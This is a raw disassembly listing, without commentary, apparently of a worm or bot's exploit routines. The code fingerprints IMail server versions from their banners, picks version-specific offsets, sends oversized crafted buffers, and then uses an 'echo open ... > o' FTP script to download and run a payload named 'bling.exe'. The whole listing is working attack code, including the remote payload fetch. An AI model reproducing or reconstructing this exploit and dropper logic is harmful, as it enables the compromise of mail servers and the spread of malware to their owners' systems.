loc_40AF89: ; CODE XREF: seg000:0040AF0Fj
call ds:dword_451588
loc_40AF8F: ; CODE XREF: seg000:0040AD42j
; seg000:0040AD91j ...
xor eax, eax
jmp short loc_40AFE7
; ---------------------------------------------------------------------------
loc_40AF93: ; CODE XREF: seg000:0040AF80j
call sub_41B8B0
pop ecx
push edi
call ds:dword_451588
loc_40AFA0: ; CODE XREF: seg000:0040AE74j
push 1F4h
call ds:dword_4F12F4 ; Sleep
push 7C7h
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
cmp al, 1
jnz short loc_40AFE4
mov eax, [ebp+0B0h]
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
loc_40AFE4: ; CODE XREF: seg000:0040AFCDj
push 1
pop eax
loc_40AFE7: ; CODE XREF: seg000:0040AF91j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
mov esi, 160h
push edi
push esi
mov dword ptr [ebp-4], 6741A1CDh
call sub_41AE40
mov edi, eax
push esi
push 0
push edi
call sub_41D100
push 12h
push offset dword_4453D0
push edi
call sub_41E840
lea esi, [edi+11h]
push offset loc_445524
push esi
call sub_41E560
push offset loc_445528
push esi
call sub_41E560
mov eax, [ebp-4]
push 4
not eax
mov [ebp-4], eax
lea eax, [ebp-4]
push eax
push esi
call sub_41E710
mov ax, word ptr ds:dword_4E2638
add esp, 38h
push eax
call ds:dword_4514F4
push dword ptr [ebp+8]
mov [ebp-8], eax
call sub_402617
pop ecx
push eax
call ds:dword_451530
xor dword ptr [ebp-8], 9393h
mov [ebp-0Ch], eax
xor dword ptr [ebp-0Ch], 93939393h
lea eax, [ebp-8]
push 2
push eax
push offset word_4453E6
call sub_41E840
lea eax, [ebp-0Ch]
push 4
push eax
push offset dword_4453E8
call sub_41E840
push offset loc_4453E4
push esi
call sub_41E560
add esp, 20h
push 6
push 1
push 2
call ds:dword_451570
mov esi, eax
lea eax, [ebp+0Ch]
push eax
call ds:dword_451530
push 1BBh
mov [ebp-18h], eax
mov word ptr [ebp-1Ch], 2
call ds:dword_4514F4
mov [ebp-1Ah], ax
lea eax, [ebp-1Ch]
push 10h
push eax
push esi
call ds:dword_45149C
test eax, eax
jnz short loc_40B124
push eax
push 15Fh
push edi
push esi
call ds:dword_451540
push esi
call ds:dword_451588
push edi
call sub_41B8B0
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc ds:dword_4439F8[eax]
push 1
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40B126
; ---------------------------------------------------------------------------
loc_40B124: ; CODE XREF: seg000:0040B0ECj
xor eax, eax
loc_40B126: ; CODE XREF: seg000:0040B122j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 12Ch
push ebx
push esi
push edi
mov dword ptr [ebp-14h], 10h
call sub_41DBA0
cdq
mov ecx, 3E8h
idiv ecx
lea eax, [ebp+0Ch]
push eax
mov edi, edx
add edi, 7D0h
mov [ebp-20h], edi
call ds:dword_451574
mov esi, eax
test esi, esi
jnz short loc_40B17D
lea eax, [ebp+0Ch]
push eax
call ds:dword_4F14F0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov ds:dword_4E1F58, eax
jz loc_40B7F2
loc_40B17D: ; CODE XREF: seg000:0040B163j
push 6
push 1
push 2
pop ebx
push ebx
call ds:dword_451570
test eax, eax
mov ds:dword_4E2060, eax
jz loc_40B7F2
test esi, esi
jz short loc_40B1B4
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_41E840
add esp, 0Ch
jmp short loc_40B1BC
; ---------------------------------------------------------------------------
loc_40B1B4: ; CODE XREF: seg000:0040B19Aj
mov eax, ds:dword_4E1F58
mov [ebp-0Ch], eax
loc_40B1BC: ; CODE XREF: seg000:0040B1B2j
test esi, esi
jz short loc_40B1CA
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_40B1CE
; ---------------------------------------------------------------------------
loc_40B1CA: ; CODE XREF: seg000:0040B1BEj
mov [ebp-10h], bx
loc_40B1CE: ; CODE XREF: seg000:0040B1C8j
push dword ptr [ebp+0A8h]
call ds:dword_4514F4
push dword ptr [ebp+8]
mov [ebp-0Eh], ax
call sub_402617
pop ecx
push eax
call ds:dword_451530
push edi
mov esi, eax
call ds:dword_4514F4
movzx eax, ax
xor eax, 7C1Fh
push 4
mov [ebp-1Ch], eax
lea eax, [ebp-18h]
xor esi, 7C1F1AE0h
push eax
push offset dword_4455FC
mov [ebp-18h], esi
call sub_41E840
lea eax, [ebp-1Ch]
push ebx
push eax
push offset word_445602
call sub_41E840
push 386h
mov edi, offset dword_4E2064
push 90h
push edi
call sub_41D100
push 0Ch
push offset loc_445534
push edi
call sub_41E840
push 138h
push offset dword_445544
push offset dword_4E2110
call sub_41E840
push 2Ah
push offset loc_44571C
push offset dword_4E2330
call sub_41E840
add esp, 48h
push 0Bh
push offset dword_445748
push offset word_4E23EA
call sub_41E840
add esp, 0Ch
lea eax, [ebp-10h]
push 10h
push eax
push ds:dword_4E2060
call ds:dword_45149C
test eax, eax
mov ds:dword_4E1F5C, eax
jnz loc_40B7F2
push eax
mov esi, offset dword_4E1F60
push 100h
push esi
push ds:dword_4E2060
call ds:dword_45150C
push offset aImail ; "IMail"
push esi
mov ds:dword_4E1F54, eax
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz loc_40B6C3
push offset a7_04 ; "7.04"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B30B
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset loc_445684
loc_40B301: ; CODE XREF: seg000:0040B333j
; seg000:0040B36Ej ...
push offset dword_4E2320
jmp loc_40B62C
; ---------------------------------------------------------------------------
loc_40B30B: ; CODE XREF: seg000:0040B2E8j
push offset a7_05 ; "7.05"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B335
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_44568C
jmp short loc_40B301
; ---------------------------------------------------------------------------
loc_40B335: ; CODE XREF: seg000:0040B31Aj
push offset a7_06 ; "7.06"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B357
push offset a7_07 ; "7.07"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B370
loc_40B357: ; CODE XREF: seg000:0040B344j
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset nullsub_2
jmp short loc_40B301
; ---------------------------------------------------------------------------
loc_40B370: ; CODE XREF: seg000:0040B355j
push offset a7_10 ; "7.10"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B392
push offset a7_11 ; "7.11"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B3AE
loc_40B392: ; CODE XREF: seg000:0040B37Fj
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_44569C
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B3AE: ; CODE XREF: seg000:0040B390j
push offset a7_12 ; "7.12"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B3DB
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456A4
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B3DB: ; CODE XREF: seg000:0040B3BDj
push offset a7_13 ; "7.13"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B3FD
push offset a7_14 ; "7.14"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B419
loc_40B3FD: ; CODE XREF: seg000:0040B3EAj
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456AC
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B419: ; CODE XREF: seg000:0040B3FBj
push offset a7_15 ; "7.15"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B446
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456B4
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B446: ; CODE XREF: seg000:0040B428j
push offset a8_00 ; "8.00"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B473
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456BC
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B473: ; CODE XREF: seg000:0040B455j
push offset a8_01 ; "8.01"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B4A0
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456C4
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B4A0: ; CODE XREF: seg000:0040B482j
push offset a8_02 ; "8.02"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B4CD
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456CC
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B4CD: ; CODE XREF: seg000:0040B4AFj
push offset a8_03 ; "8.03"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B4FA
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456D4
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B4FA: ; CODE XREF: seg000:0040B4DCj
push offset a8_04 ; "8.04"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B527
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456DC
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B527: ; CODE XREF: seg000:0040B509j
push offset a8_05 ; "8.05"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B554
push ebx
push offset loc_445680
push offset word_4E231E
call sub_41E840
push 4
push offset dword_4456E4
jmp loc_40B301
; ---------------------------------------------------------------------------
loc_40B554: ; CODE XREF: seg000:0040B536j
push offset a8_10 ; "8.10"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B581
push ebx
push offset loc_445680
push offset word_4E2316
call sub_41E840
push 4
push offset dword_4456EC
jmp loc_40B627
; ---------------------------------------------------------------------------
loc_40B581: ; CODE XREF: seg000:0040B563j
push offset a8_11 ; "8.11"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B5AB
push ebx
push offset loc_445680
push offset word_4E2316
call sub_41E840
push 4
push offset dword_4456F4
jmp short loc_40B627
; ---------------------------------------------------------------------------
loc_40B5AB: ; CODE XREF: seg000:0040B590j
push offset a8_12 ; "8.12"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B5D5
push ebx
push offset loc_445680
push offset word_4E2316
call sub_41E840
push 4
push offset dword_4456FC
jmp short loc_40B627
; ---------------------------------------------------------------------------
loc_40B5D5: ; CODE XREF: seg000:0040B5BAj
push offset a8_13 ; "8.13"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B5FF
push ebx
push offset loc_445680
push offset word_4E2316
call sub_41E840
push 4
push offset dword_445704
jmp short loc_40B627
; ---------------------------------------------------------------------------
loc_40B5FF: ; CODE XREF: seg000:0040B5E4j
push offset a8_14 ; "8.14"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B639
push ebx
push offset loc_445680
push offset word_4E2316
call sub_41E840
push 4
push offset dword_44570C
loc_40B627: ; CODE XREF: seg000:0040B57Cj
; seg000:0040B5A9j ...
push offset dword_4E2318
loc_40B62C: ; CODE XREF: seg000:0040B306j
call sub_41E840
add esp, 18h
jmp loc_40B6D4
; ---------------------------------------------------------------------------
loc_40B639: ; CODE XREF: seg000:0040B60Ej
push offset a8_15 ; "8.15"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B663
push ebx
push offset loc_445680
push offset word_4E2316
call sub_41E840
push 4
push offset dword_445714
jmp short loc_40B627
; ---------------------------------------------------------------------------
loc_40B663: ; CODE XREF: seg000:0040B648j
push offset aHotfix2 ; "hotfix2"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B67F
loc_40B674: ; CODE XREF: seg000:0040B68Ej
; seg000:0040B69Fj ...
push ds:dword_4E2060
jmp loc_40B7EC
; ---------------------------------------------------------------------------
loc_40B67F: ; CODE XREF: seg000:0040B672j
push offset a4_0 ; "4.0"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B674
push offset a5_0 ; "5.0"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B674
push offset a6_0 ; "6.0"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B674
push offset a7_0 ; "7.0"
push esi
call sub_41DBE0
pop ecx
pop ecx
test eax, eax
jmp short loc_40B674
; ---------------------------------------------------------------------------
loc_40B6C3: ; CODE XREF: seg000:0040B2D3j
push offset aImail_0 ; "IMail"
push esi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40B674
loc_40B6D4: ; CODE XREF: seg000:0040B634j
mov esi, ds:dword_4F12F4
push 64h
call esi ; dword_4F12F4
push 0
push edi
call sub_41AC70
pop ecx
push eax
push edi
push ds:dword_4E2060
call ds:dword_451540
push 64h
call esi ; dword_4F12F4
push dword ptr [ebp-20h]
xor edi, edi
mov [ebp-0Ch], edi
call ds:dword_4514F4
push 6
push 1
pop esi
mov [ebp-0Eh], ax
push esi
push ebx
call ds:dword_451570
lea ecx, [ebp-10h]
push 10h
push ecx
push eax
mov ds:dword_4E2464, eax
call ds:dword_451520
cmp eax, edi
mov ds:dword_4E1F5C, eax
jnz loc_40B7F2
push esi
push ds:dword_4E2464
call ds:dword_45151C
cmp eax, edi
mov ds:dword_4E1F5C, eax
jnz loc_40B7F2
mov eax, ds:dword_4E2464
mov dword ptr [ebp-28h], 8
mov [ebp-128h], eax
lea eax, [ebp-28h]
push eax
push edi
lea eax, [ebp-12Ch]
push edi
push eax
push esi
mov [ebp-24h], edi
mov [ebp-12Ch], esi
call ds:dword_4F14F4 ; select
test eax, eax
jle short loc_40B7F2
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
push ds:dword_4E2464
call ds:dword_451584
mov ecx, [ebp+0B0h]
push eax
shl ecx, 6
inc ds:dword_4439F8[ecx]
sub esp, 0BCh
lea ecx, dword_4439F8[ecx]
lea esi, [ebp+8]
push 2Fh
mov ds:dword_4E2468, eax
pop ecx
mov edi, esp
rep movsd
call sub_40B7F9
add esp, 0C0h
push ds:dword_4E2060
call ds:dword_451588
push ds:dword_4E2464
call ds:dword_451588
push ds:dword_4E2468
loc_40B7EC: ; CODE XREF: seg000:0040B67Aj
call ds:dword_451588
loc_40B7F2: ; CODE XREF: seg000:0040B177j
; seg000:0040B192j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7F9 proc near ; CODE XREF: seg000:0040B7C3p
var_800 = byte ptr -800h
var_400 = byte ptr -400h
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 800h
push esi
push edi
mov edi, [ebp+arg_BC]
mov esi, 400h
push 0
lea eax, [ebp+var_800]
push esi
push eax
push edi
call ds:dword_45150C
cmp eax, 0FFFFFFFFh
jz loc_40B8CC
movzx eax, word ptr ds:dword_4DF1B8
push eax
push [ebp+arg_0]
call sub_402617
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_400]
push esi
push eax
call sub_41D360
add esp, 14h
lea eax, [ebp+var_400]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_400]
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40B8CC
push 1F4h
call ds:dword_4F12F4 ; Sleep
push offset aBling_exe ; "bling.exe\r\n"
lea eax, [ebp+var_400]
push esi
push eax
call sub_41D360
add esp, 0Ch
lea eax, [ebp+var_400]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_400]
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40B8CC
push 0
push esi
push offset dword_4E1F60
push edi
call ds:dword_45150C
push edi
call ds:dword_451588
loc_40B8CC: ; CODE XREF: sub_40B7F9+2Aj
; sub_40B7F9+78j ...
pop edi
pop esi
leave
retn
sub_40B7F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8D0 proc near ; CODE XREF: seg000:0040BE27p
; seg000:0040BE49p ...
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_41DEB0
mov eax, ds:dword_446270
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_446274
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset dword_446278
push eax
call sub_41D260
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40B90F: ; CODE XREF: sub_40B8D0+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40B90F
push 60h
lea eax, [ebp+var_B4]
push offset dword_445D88
push eax
call sub_41E840
lea eax, [ebp+var_3C]
push eax
call sub_41AC70
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_41E840
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_5+3)
push eax
call sub_41AC70
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_41E840
lea eax, [ebp+var_3C]
push eax
call sub_41AC70
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_41E840
lea eax, [ebp+var_3C]
push eax
call sub_41AC70
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_41E840
mov ax, word ptr ds:dword_446178
add esp, 2Ch
push eax
call ds:dword_4514F4
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_445A88
call sub_41E840
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40BACC
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_41D100
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4461B8[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_41E840
mov esi, offset loc_4459D8
push esi
call sub_41AC70
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_41E840
push 4
lea eax, [ebp+var_11AC]
push offset dword_446284
push eax
call sub_41E840
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_41E840
add esp, 40h
push esi
call sub_41AC70
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_41E840
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_40BA85: ; CODE XREF: sub_40B8D0+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_40BA85
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_41D100
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_41D100
add esp, 18h
jmp short loc_40BB23
; ---------------------------------------------------------------------------
loc_40BACC: ; CODE XREF: sub_40B8D0+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_41D100
mov esi, offset loc_4459D8
push esi
call sub_41AC70
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_41E840
lea eax, [ebp+var_10]
push eax
call sub_41AC70
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_41E840
mov eax, ds:dword_4461B8
add esp, 2Ch
mov [ebp+var_768], eax
loc_40BB23: ; CODE XREF: sub_40B8D0+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_41D100
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_40BB62
loc_40BB5B: ; CODE XREF: sub_40B8D0+2B9j
; sub_40B8D0+2E0j ...
xor al, al
jmp loc_40BD10
; ---------------------------------------------------------------------------
loc_40BB62: ; CODE XREF: sub_40B8D0+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_45150C
push ebx
push 68h
push offset dword_445DEC
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40BB5B
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_45150C
push ebx
push 0A0h
push offset dword_445E58
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40BB5B
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_45150C
cmp [ebp+arg_C0], ebx
jz loc_40BC78
push 68h
lea eax, [ebp+var_89B4]
push offset dword_446010
push eax
call sub_41E840
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_41E840
push 70h
lea eax, [ebp+var_68DC]
push offset dword_44607C
push eax
call sub_41E840
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_41E840
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_4460F0
push eax
call sub_41E840
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40BB5B
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_45150C
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40BCCE
; ---------------------------------------------------------------------------
loc_40BC78: ; CODE XREF: sub_40B8D0+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_445EFC
push eax
call sub_41E840
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_41E840
push 90h
lea eax, [ebp+var_245C]
push offset off_445F7C
push eax
call sub_41E840
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40BCCE: ; CODE XREF: sub_40B8D0+3A6j
push eax
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40BB5B
push 12Ch
call ds:dword_4F12F4 ; Sleep
push ds:dword_446178
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
test al, al
setnz al
loc_40BD10: ; CODE XREF: sub_40B8D0+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40B8D0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 654h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_41D100
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call ds:dword_451530
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call ds:dword_4514F4
push 6
push 1
push 2
mov [ebp-12h], ax
call ds:dword_451570
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40BE0E
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_40BE0E
push edi
push 89h
push offset dword_445B70
push ebx
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40BE0E
mov esi, 640h
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_45150C
push edi
push 0A8h
push offset dword_445BFC
push ebx
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40BE0E
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_45150C
push edi
push 0DEh
push offset dword_445CA8
push ebx
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40BE0E
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_45150C
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40BE36
dec eax
jz short loc_40BE15
loc_40BE0E: ; CODE XREF: seg000:0040BD69j
; seg000:0040BD7Fj ...
xor eax, eax
jmp loc_40BEA6
; ---------------------------------------------------------------------------
loc_40BE15: ; CODE XREF: seg000:0040BE0Cj
push edi
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40B8D0
add esp, 0C4h
push 0
jmp short loc_40BE5A
; ---------------------------------------------------------------------------
loc_40BE36: ; CODE XREF: seg000:0040BE09j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40B8D0
add esp, 0C4h
test al, al
jnz short loc_40BE7A
push 1
loc_40BE5A: ; CODE XREF: seg000:0040BE34j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40B8D0
add esp, 0C4h
test al, al
jz short loc_40BE81
loc_40BE7A: ; CODE XREF: seg000:0040BE56j
mov dword ptr [ebp-4], 1
loc_40BE81: ; CODE XREF: seg000:0040BE78j
push ebx
call ds:dword_451588
cmp dword ptr [ebp-4], 0
jz short loc_40BEA3
mov eax, [ebp+0B0h]
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
loc_40BEA3: ; CODE XREF: seg000:0040BE8Cj
push 1
pop eax
loc_40BEA6: ; CODE XREF: seg000:0040BE10j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEAB proc near ; CODE XREF: seg000:0040C400p
; seg000:0040C422p ...
var_89B8 = byte ptr -89B8h
var_8950 = byte ptr -8950h
var_68E0 = byte ptr -68E0h
var_6870 = byte ptr -6870h
var_5DAC = byte ptr -5DACh
var_4808 = byte ptr -4808h
var_4807 = byte ptr -4807h
var_3774 = byte ptr -3774h
var_2CB0 = byte ptr -2CB0h
var_2CAF = byte ptr -2CAFh
var_2CAC = byte ptr -2CACh
var_24C8 = byte ptr -24C8h
var_24B8 = byte ptr -24B8h
var_2194 = byte ptr -2194h
var_2190 = byte ptr -2190h
var_2184 = byte ptr -2184h
var_1EFC = byte ptr -1EFCh
var_1E80 = byte ptr -1E80h
var_16B0 = byte ptr -16B0h
var_1205 = byte ptr -1205h
var_F18 = byte ptr -0F18h
var_E78 = byte ptr -0E78h
var_76C = dword ptr -76Ch
var_75C = byte ptr -75Ch
var_748 = byte ptr -748h
var_108 = byte ptr -108h
var_107 = byte ptr -107h
var_B8 = byte ptr -0B8h
var_B5 = byte ptr -0B5h
var_8B = byte ptr -8Bh
var_89 = byte ptr -89h
var_88 = byte ptr -88h
var_40 = byte ptr -40h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B8h
call sub_41DEB0
mov eax, ds:dword_44628C
push ebx
